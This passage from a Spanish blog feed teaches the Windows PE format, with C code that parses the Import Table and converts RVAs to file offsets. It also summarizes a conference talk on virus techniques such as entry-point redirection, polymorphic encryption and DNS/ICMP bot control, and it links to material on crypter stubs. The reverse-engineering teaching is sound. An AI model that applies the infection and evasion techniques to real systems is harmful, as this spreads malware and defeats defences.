 PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&amp;amp;buf[pIDH-&amp;gt;e_lfanew];
 //Dirección de la Import Table
 DWORD ITdir = pINH-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
 //El primer Image Import Descriptor está al principio de la IT
 PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)&amp;amp;buf[RVAToOffset(buf, ITdir)];
 while(pIID-&amp;gt;Name != 0)
 {
  printf("%s:\n", &amp;amp;buf[RVAToOffset(buf, pIID-&amp;gt;Name)]);
  PIMAGE_THUNK_DATA pITD;
  //Se lee la INT (Import Name Table), si existe, sino la IAT
  if(pIID-&amp;gt;OriginalFirstThunk != 0)  //En los exe's de borland OFT es 0, o no existe INT
   pITD = (PIMAGE_THUNK_DATA)&amp;amp;buf[RVAToOffset(buf, pIID-&amp;gt;OriginalFirstThunk)];
  else
   pITD = (PIMAGE_THUNK_DATA)&amp;amp;buf[RVAToOffset(buf, pIID-&amp;gt;FirstThunk)];
  while(pITD-&amp;gt;u1.AddressOfData != NULL){
   //Por ordinal o por nombre?
   if((DWORD)pITD-&amp;gt;u1.AddressOfData &amp;amp;  IMAGE_ORDINAL_FLAG32) //0x80000000
    printf("  Ord: %d\n", (DWORD)pITD-&amp;gt;u1.AddressOfData &amp;amp; 0x7FFFFFFF);
   else{
    PIMAGE_IMPORT_BY_NAME pIIBN = (PIMAGE_IMPORT_BY_NAME)&amp;amp;buf[RVAToOffset(buf, pITD-&amp;gt;u1.AddressOfData)];
    printf("  %s\n", pIIBN-&amp;gt;Name);
   }
   pITD++;
  }
  pIID++;
 }
}
}
free(buf);
return EXIT_SUCCESS;
}

//Dada una dirección relativa virtual, RVA, la transforma a una posición exacta en el fichero
DWORD RVAToOffset(byte *buf, DWORD RVA)
{
//Se lee la cabecera DOS que está al principio
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;
//Se lee la cabecera PE, el campo e_lfanew nos indica donde se encuentra dentro del fichero
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&amp;amp;buf[pIDH-&amp;gt;e_lfanew];
//Buscamos a que sección pertenece la RVA para hacer los calculos correctos
for(DWORD i = 0; i &amp;lt; pINH-&amp;gt;FileHeader.NumberOfSections; i++){
//Nos vamos desplazando por las secciones
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&amp;amp;buf[pIDH-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
//Si la RVA está dentro del rango
if (pISH-&amp;gt;VirtualAddress &amp;lt;= RVA &amp;amp;&amp;amp; pISH-&amp;gt;VirtualAddress + pISH-&amp;gt;SizeOfRawData &amp;gt; RVA){
 //Se realizan los cálculos
 return RVA - pISH-&amp;gt;VirtualAddress + pISH-&amp;gt;PointerToRawData;
}
}
//Si no encuentra en ninguna sección retornamos -1
return -1;
}
&lt;/pre&gt;
&lt;p align="justify"&gt;Se admiten críticas al código, un saludo!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-8926126387999113048?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/8926126387999113048/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/recorrer-la-import-table-en-c.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8926126387999113048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/8926126387999113048'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/recorrer-la-import-table-en-c.html' title='Recorrer la Import Table en C'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-1673020027468821099</id><published>2011-03-15T17:35:00.001+01:00</published><updated>2011-03-15T17:35:50.041+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><category scheme='http://www.blogger.com/atom/ns#' term='Colaboraciones'/><title type='text'>Detección de información extra en ejecutables por Th3 Sw4sh</title><content type='html'>&lt;p align="justify"&gt;Mi amigo Th3 Sw4sh ha realizado un documento donde explica que es y para que se usa la información extra en ejecutables.&lt;/p&gt;  &lt;p align="justify"&gt;A continuación copio la introducción del documento:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;La redacción de este documento tiene como fin explicar una forma de lograr detectar información extra no-original de un archivo ejecutable, que bien puede ser la parte binaria de un archivo quizá su información se encuentre encriptada, sumado a otro para luego darle cualquier uso podemos decir posiblemente (Stub – servidor), Técnica utilizada por los actuales “Encriptadores” . &lt;/p&gt;    &lt;p align="justify"&gt;Empezaremos hablando de la utilidad y hablando del aprovechamiento de esta información respecto al malware, mostraré unos cuantos ejemplos y espero de una u otra forma les llegue a ser de ayuda.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;El documento y el código fuente en C para realinear secciones y así evitar que sea sencillo localizar esta información extra &lt;a href="http://www.multiupload.com/0PK4VX1Z9P"&gt;lo subo por aquí&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Gracias Th3 Sw4sh!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-1673020027468821099?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/1673020027468821099/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/deteccion-de-informacion-extra-en.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1673020027468821099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1673020027468821099'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/deteccion-de-informacion-extra-en.html' title='Detección de información extra en ejecutables por Th3 Sw4sh'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7726381285253846326</id><published>2011-03-15T01:24:00.009+01:00</published><updated>2011-03-15T17:51:06.855+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Código para pasar de RVA a Offset</title><content type='html'>&lt;p align="justify"&gt;Buenas noches! Es hora de comenzar a programar un poquillo con esto del PE.&lt;/p&gt; &lt;p align="justify"&gt;Algo que seguro habéis leído en casi todos los documentos que he ido poniendo como referencia es cómo convertir de una dirección relativa virtual, RVA, a una posición física en el fichero, llamémoslo offset.&lt;/p&gt; &lt;h4 align="justify"&gt;
Primero manualmente&lt;/h4&gt; &lt;p align="justify"&gt;Lo primero que debemos hacer es encontrar a que sección del ejecutable pertenece esa RVA, para ello en cada sección nos fijamos en los valores VirtualAddress y VirtualSize. Una vez localizada la sección restamos a la RVA la VirtualAddress para saber el desplazamiento dentro de la sección y por último sumamos el PointerToRawData para localizar ese desplazamiento en disco.&lt;/p&gt; &lt;p align="justify"&gt;Veámoslo con un ejemplo que sino no se entiende nada. Tomemos como ejemplo este post:
&lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html"&gt;http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html&lt;/a&gt;&lt;/p&gt; &lt;p align="justify"&gt;En él buscábamos la IT en disco, mediante un editor hexadecimal vimos que esta se encontraba en la RVA 0x7604. Mirando la secciones nos encontramos con la primera, .text con los siguientes valores:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;span&gt;Name:             .text 
VirtualSize:      0x7748  
VirtualAddress:   0x1000  
SizeOfRawData:    0x7800  
PointerToRawData: 0x400&lt;/span&gt;&lt;/p&gt;  &lt;p align="justify"&gt;La sección empieza en 0x1000 y acaba en 0x8748 (0x1000+0x7748), por lo que la RVA 0x7604 se encuentra dentro de ella.&lt;/p&gt;  &lt;p align="justify"&gt;Ahora debemos hacer los cálculos. RVA – comienzo de la sección(VirtualAddress) + comienzo de la sección en disco (PointerToRawData).
0x7604 – 0x1000 + 0x400 = 0x6A04&lt;/p&gt;  &lt;p align="justify"&gt;Y ahí está:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/TX6xld1KdBI/AAAAAAAAATA/53zoUHCcvTg/s1600-h/image%5B4%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TX6xmFABcOI/AAAAAAAAATE/1of-gSXyKIE/image_thumb%5B5%5D.png?imgmax=800" width="416" height="143" /&gt;&lt;/a&gt;
&lt;/p&gt;  &lt;h4 align="justify"&gt;A programarlo&lt;/h4&gt;  &lt;p align="justify"&gt;Vamos a programarlo en C, al programa se le pasaran 2 parámetros, el primero el nombre del ejecutable y el segundo la RVA en hexadecimal. Para pasar de una cadena en hexadecimal a un número usaremos la función &lt;a href="http://www.cplusplus.com/reference/clibrary/cstdlib/strtoul/"&gt;strtoul&lt;/a&gt;. &lt;/p&gt;  &lt;p align="justify"&gt;Así que verificamos que lo que nos pasan como argumentos es lo que esperamos:&lt;/p&gt;
&lt;pre class='brush: cpp'&gt;
if(argc != 3 || strtoul(argv[2], NULL, 16) == 0) 
{
printf("Se esperaban 2 parametros, el primero un fichero y el segundo una RVA en hexadecimal\n");  
printf("Ej: %s notepad.exe 3A03\n", argv[0]);  
return EXIT_FAILURE;  
}&lt;/pre&gt;  &lt;p&gt;Después leemos la RVA recibida, abrimos el fichero y lo leemos entero en un buffer:&lt;/p&gt;
&lt;pre class='brush: cpp'&gt; //Convierte la cadena que contiene el numero en hexadecimal a DWORD   
DWORD RVA = strtoul(argv[2], NULL, 16);    
HANDLE fichero = CreateFile((LPCTSTR)argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    
if(fichero == INVALID_HANDLE_VALUE)    
{    
 printf("Error abriendo el fichero\n");    
 return EXIT_FAILURE;    
}    
//Se lee todo el fichero en buf    
DWORD size = GetFileSize(fichero, NULL);    
byte *buf = (byte *)malloc(size);    
DWORD bytesleidos;    
ReadFile(fichero, buf, size, &amp;amp;bytesleidos, NULL);    
CloseHandle(fichero);    
if (bytesleidos != size)    
{    
 printf("Error leyendo el fichero\n");    
 return EXIT_FAILURE;    
}&lt;/pre&gt;  &lt;p&gt;Invocamos a la función mágica que convertirá de RVA a Offset, su contenido después.&lt;/p&gt;  &lt;pre class='brush: cpp'&gt;DWORD Offset = RVAToOffset(buf, RVA);   
if (Offset == -1)    
{    
 printf("No se encontró el offset correspondiente a dicha RVA\n");    
 return EXIT_FAILURE;    
}    
//Se imprime el resultado
printf("RVA:    0x%08x\n", RVA);   
printf("Offset: 0x%08x\n", Offset);
free(buf); 
return EXIT_SUCCESS;  
}&lt;/pre&gt;  &lt;p&gt;Y ahora la función mágica la que tiene todo lo importante.&lt;/p&gt; &lt;pre class='brush: cpp'&gt;//Dada un dirección relativa virtual, RVA, la transforma a una posición exacta en el fichero 
DWORD RVAToOffset(byte *buf, DWORD RVA)  
{  
//Se lee la cabecera DOS que está al principio
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;  
//Se lee la cabecera PE, el campo e_lfanew nos indica donde se encuentra dentro del fichero  
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&amp;amp;buf[pIDH-&amp;gt;e_lfanew];  
//Buscamos a que sección pertenece la RVA para hacer los cálculos correctos  
for(DWORD i = 0; i &amp;lt; pINH-&amp;gt;FileHeader.NumberOfSections; i++){  
 //Nos vamos desplazando por las secciones  
 PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&amp;amp;buf[pIDH-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];  
 //Si la RVA está dentro del rango  
 if (pISH-&amp;gt;VirtualAddress &amp;lt;= RVA &amp;amp;&amp;amp; pISH-&amp;gt;VirtualAddress + pISH-&amp;gt;SizeOfRawData &amp;gt; RVA){  
   //Se realizan los cálculos  
   return RVA - pISH-&amp;gt;VirtualAddress + pISH-&amp;gt;PointerToRawData;  
 }  
}  
//Si no encuentra en ninguna sección retornamos -1  
return -1;  
}&lt;/pre&gt;  &lt;p&gt;Admito que así visto el código asusta un poco, con Visual Studio se ve mas bonito:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_FGFE7zLOsQk/TX6xmje-l_I/AAAAAAAAATI/6XFAchSUDUM/s1600-h/image%5B9%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TX6xnGMJZKI/AAAAAAAAATM/bFuY0EOIyHg/image_thumb%5B11%5D.png?imgmax=800" width="407" height="206" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Y así se usa:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TX6xnuNECCI/AAAAAAAAATQ/EAq_7CVr084/s1600-h/image%5B19%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TX6xn20R9NI/AAAAAAAAATU/WWg7pr6_i7g/image_thumb%5B23%5D.png?imgmax=800" width="375" height="55" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p style="text-align: justify;"&gt;&lt;a href="http://www.multiupload.com/IFP34IZ6C0"&gt;Cuelgo aquí el .c y el compilado&lt;/a&gt; para que lo podáis ver bien, compilar, probar o incluso usar.&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;El programa en sí no sirve de mucho, pero es algo necesario (pasar de RVA a Offset) para cuando hagamos cosas mas complicadas y así de paso vamos practicando. &lt;/div&gt;
Se esperan críticas al código. Un saludo!&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7726381285253846326?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7726381285253846326/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/codigo-para-pasar-de-rva-offset.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7726381285253846326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7726381285253846326'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/codigo-para-pasar-de-rva-offset.html' title='Código para pasar de RVA a Offset'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/TX6xmFABcOI/AAAAAAAAATE/1of-gSXyKIE/s72-c/image_thumb%5B5%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5555882359688575708</id><published>2011-03-13T17:29:00.002+01:00</published><updated>2011-03-13T17:30:56.234+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Documentación interesante</title><content type='html'>&lt;p align="justify"&gt;En estos días ando leyendo distinta documentación sobre el formato PE, la tabla de importación de los ejecutables, etc…&lt;/p&gt;  &lt;p align="justify"&gt;Os dejo 3 documentos interesantes sobre el tema. El primero trata sobre la estructura del formato PE, explica algo de la tabla de importaciones y de la de exportaciones.   
&lt;a href="http://ricardonarvaja.info/WEB/CURSO%20NUEVO/TEORIAS%20NUMERADAS/000-100/044-ESTUDIO%20DE%20LOS%20ENCABEZADOS%20PE%20parte%201%20POR%20SICK%20TROEN.zip"&gt;044-ESTUDIO DE LOS ENCABEZADOS PE parte 1 POR SICK TROEN.zip&lt;/a&gt;    
&lt;a href="http://ricardonarvaja.info/WEB/CURSO%20NUEVO/TEORIAS%20NUMERADAS/000-100/048-ESTUDIO%20DE%20LOS%20ENCABEZADOS%20PE%20parte%202%20POR%20SICK%20TROEN.zip"&gt;048-ESTUDIO DE LOS ENCABEZADOS PE parte 2 POR SICK TROEN.zip&lt;/a&gt;&lt;/p&gt;  &lt;div align="justify"&gt;   &lt;pre&gt;&lt;span &gt;En estas 4 “teorias” Ricardo Narvaja explica lo de que es la Import Table, como recomponerla a mano tras haber dumpeado un archivo comprimido con UPX e incluye un script para reparar la IAT. Realmente bueno.
&lt;/span&gt;&lt;a href="http://ricardonarvaja.info/WEB/CURSO%20NUEVO/TEORIAS%20NUMERADAS/201-300/253-IMPORT%20TABLES%20A%20MANO%20(parte%201).rar"&gt;253-IMPORT TABLES A MANO (parte 1).rar&lt;/a&gt;
&lt;a href="http://ricardonarvaja.info/WEB/CURSO%20NUEVO/TEORIAS%20NUMERADAS/201-300/254-IMPORT%20TABLES%20A%20MANO%20(parte%202).rar"&gt;254-IMPORT TABLES A MANO (parte 2).rar&lt;/a&gt;
&lt;a href="http://ricardonarvaja.info/WEB/CURSO%20NUEVO/TEORIAS%20NUMERADAS/201-300/255-IMPORT%20TABLES%20A%20MANO%20(parte%203).rar"&gt;255-IMPORT TABLES A MANO (parte 3).rar&lt;/a&gt;
&lt;a href="http://ricardonarvaja.info/WEB/CURSO%20NUEVO/TEORIAS%20NUMERADAS/201-300/256-IMPORT%20TABLES%20A%20MANO%20(parte%204).rar"&gt;256-IMPORT TABLES A MANO (parte 4).rar&lt;/a&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Y el mas interesante y completo de todos es el artículo de la revista Codebreakers “&lt;a href="http://www.multiupload.com/CKM1YSNEOT"&gt;Portable Executable File Format – A Reverse Engineer View&lt;/a&gt;” basta con ver el índice:&lt;/div&gt;
1   Introduction 
2   Basic Structure
3   The DOS Header
4   The PE Header
5   The Data Directory
6   The Section Table
7   The PE File Sections
8   The Export Section
9   The Import Section
10   The Loader
11   Navigating Imports on Disk
12   Adding Code to a PE File
13   Adding Import to an Executable
14   Introduction to Packers
15   Infection of PE Files by Viruses
16   Conclusion
17   Relative Virtual Addressing Explained
18   References &amp;amp; Bibliography
19   Tools Used
20   Appendix: Complete PE Offset Reference

&lt;div&gt;Felices lecturas!  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5555882359688575708?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5555882359688575708/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/documentacion-interesante.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5555882359688575708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5555882359688575708'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/documentacion-interesante.html' title='Documentación interesante'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-1218373829634753866</id><published>2011-03-09T00:26:00.001+01:00</published><updated>2011-03-09T00:26:12.633+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Charla interesante en la Rooted sobre virii</title><content type='html'>&lt;p align="justify"&gt;El viernes pasado en la RootedCon 2011 Alberto García realizó una presentación que parece muy interesante: Virus, el arte no debería ser negocio. En &lt;a href="http://www.slideshare.net/rootedcon/alberto-garca-de-dios-virus-el-arte-no-debera-ser-negocio-rooted-con-2011?from=ss_embed"&gt;las diapositivas&lt;/a&gt; comenta varias cosas interesantes.&lt;/p&gt;  &lt;p align="justify"&gt;Una de ellas es que la forma mas típica de infectar un ejecutable es añadiendo una nueva sección, cambiando el EP a la nueva sección, ejecutar el código malicioso y mas tarde regresar al EP original. Y otra forma que comenta para que no sea muy evidente que el EP ha sido modificado es poner como primera instrucción un salto a la nueva sección.&lt;/p&gt;  &lt;p align="justify"&gt;También habla de cifrar un ejecutable y que este a su vez cree nuevas copias cifradas con distintas claves o con distintos algoritmos de cifrado para que cada copia del mismo sea diferente.&lt;/p&gt;  &lt;p align="justify"&gt;Otra de las cosas que comenta es utilizar el protocolo DNS o ICMP para controlar los bots y pasar mas desapercibidos a los cortafuegos.&lt;/p&gt;  &lt;p align="justify"&gt;Espero que pronto salga el video de la conferencia para verlo completo.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-1218373829634753866?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/1218373829634753866/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/charla-interesante-en-la-rooted-sobre.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1218373829634753866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/1218373829634753866'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/03/charla-interesante-en-la-rooted-sobre.html' title='Charla interesante en la Rooted sobre virii'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7601565782375580158</id><published>2011-03-07T22:08:00.004+01:00</published><updated>2011-03-07T22:11:38.697+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>Localizar direcciones en la IAT a mano 2/2</title><content type='html'>&lt;hr /&gt;&lt;a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html"&gt;Localizar direcciones en la IAT a mano 1/2&lt;/a&gt;&lt;hr /&gt;&lt;p align="justify"&gt;En la anterior entrada localizamos la estructura “Directorio de Datos Importados” correspondiente a la DLL User32.dll que contenía los siguientes valores:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TXA2i5lk5QI/AAAAAAAAASM/e8s3NNmTJM8/image_thumb%5B17%5D.png?imgmax=800" /&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;&lt;span&gt;dwRVAFunctionNameList:    0x00007854  
dwUseless1:               0xFFFFFFFF   
dwUseless2:               0xFFFFFFFF   
dwRVAModuleName:          0x0000873C   
dwRVAFunctionAddressList: 0x00001188&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Lo primero es recorrer el vector de nombres de las funciones importadas, &lt;span&gt;&lt;em&gt;dwRVAFunctionNameList&lt;/em&gt;&lt;/span&gt;, hasta encontrar la de MessageBoxW. Está en la dirección RVA 0x7854, que traducida a FileOffset como hicimos en el anterior entrada nos da:
0x7854-0x1000+0x400= 0x6C54&lt;/p&gt;  &lt;p align="justify"&gt;En esa dirección vemos una lista muy larga de punteros:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TXVJTXPNuuI/AAAAAAAAASQ/TnxHEUeopa0/s1600-h/image%5B5%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TXVJUO8sIGI/AAAAAAAAASU/BSLlhraknY4/image_thumb%5B6%5D.png?imgmax=800" width="371" height="239" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;74 punteros, cada uno de ellos es una RVA donde encontrar el nombre de la función importada de la DLL User32.dll. Así que ahora toca un poco de trabajo sucio e ir uno a uno buscando a que nombre llevan. Por ejemplo el primero 0x00008524 que traducido a FileOffset es 0x7924 donde encontramos esto:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TXVJUnvML3I/AAAAAAAAASY/rcv_j09lcP8/s1600-h/image%5B15%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/_FGFE7zLOsQk/TXVJVejt7hI/AAAAAAAAASc/Tl_W1HtMDIc/image_thumb%5B20%5D.png?imgmax=800" width="401" height="75" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Los primeros 2 bytes corresponden al ordinal con el que se exporta la funcionen este caso 0xFF, los siguiente bytes corresponden al nombre de la función importada “GetClientRect”. Siguiente este proceso con el resto de punteros llegamos al que está en la posición 0xE0, en el FileOffset 0x6D34 (0x6C54+0x4*0xE0).&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXVJVqe5WGI/AAAAAAAAASg/3Aicap199CU/s1600-h/image%5B22%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/TXVJWJdpBKI/AAAAAAAAASk/vXCN00ZmA_4/image_thumb%5B30%5D.png?imgmax=800" width="334" height="71" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;p align="justify"&gt;0x00839A, traducido a FileOffset: 0x779A (0x839A-0x1000+0x400), ahí es donde encontramos lo siguiente:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TXVJWsJtx_I/AAAAAAAAASo/p2syHR0dtcY/s1600-h/image%5B27%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TXVJXafqX2I/AAAAAAAAASs/A82SC4DBYs4/image_thumb%5B37%5D.png?imgmax=800" width="400" height="63" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Que es la función buscada.&lt;/p&gt;  &lt;p align="justify"&gt;Sabemos que está en al posición 0xE0 de la lista de funciones importadas de user32.dll. Ahora tenemos que ir a esa posición de la lista de dirección de las funciones, dwRVAFunctionAddressList, y podremos saber en que dirección de memoria dentro de la IAT se encontrará una vez cargado el programa en memoria la dirección en nuestra versión de Windows de la funcion MesageBoxW.&lt;/p&gt;  &lt;p align="justify"&gt;La lista de direcciones se encuentra en al dirección RVA 0x00001188:
dwRVAFunctionAddressList: 0x00001188&lt;/p&gt;  &lt;p align="justify"&gt;Sabiendo que la dirección de nuestra función (MessageBoxW) se encontraba en la posición 0xE0 deberemos sumar este valor al comienzo de la lista para obtener su dirección RVA exacta:
